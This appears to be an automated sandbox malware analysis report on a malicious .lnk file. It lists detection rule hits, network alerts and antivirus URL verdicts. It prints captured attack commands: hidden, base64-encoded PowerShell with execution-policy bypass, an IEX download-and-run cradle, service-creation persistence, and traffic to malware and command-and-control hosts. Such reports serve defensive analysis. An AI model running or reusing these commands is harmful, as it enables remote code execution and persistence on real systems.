"UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 5184, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 5928, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6616, TargetFilename: C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3992, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 1756, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3992, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 3920, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1832, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 8036, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3992, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 1756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 816, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, ProcessId: 8836, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6616, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", ProcessId: 8080, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:45:37.140764+0100	2803305	3	Unknown Traffic	192.168.11.30	49766	104.21.1.51	443	TCP
2024-12-11T12:46:35.185504+0100	2803305	3	Unknown Traffic	192.168.11.30	49771	104.21.1.51	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:44:03.647049+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49741	104.21.1.51	443	TCP
2024-12-11T12:44:06.019233+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49743	104.21.1.51	443	TCP
2024-12-11T12:44:08.125073+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49745	104.21.1.51	443	TCP
2024-12-11T12:44:30.165458+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49759	104.21.1.51	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/609aafcaa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	Avira URL Cloud: Label: malware
Source: https://login.live	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/fbJ5ex	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/RdpService/63ice	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/TermServiceTryRun/43	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/058	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	Avira URL Cloud: Label: malware
Source: http://cocomethode.de:443/	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: 3y37oMIUy6.lnk

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: 3y37oMIUy6.lnk

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49766 version: TLS 1.2

Source:	Binary string: MD5tem.pdbpdbtem.pdb+ source: powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ib.pdb source: powershell.exe, 00000008.00000002.4008138579.00000200F0E27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mncryptsslp.dll.pdb source: powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49770

Source: global traffic

TCP traffic: 192.168.11.30:49768 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/63 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/43 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: 2SDZ3V4OhUmr9mCZCgUwdg==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
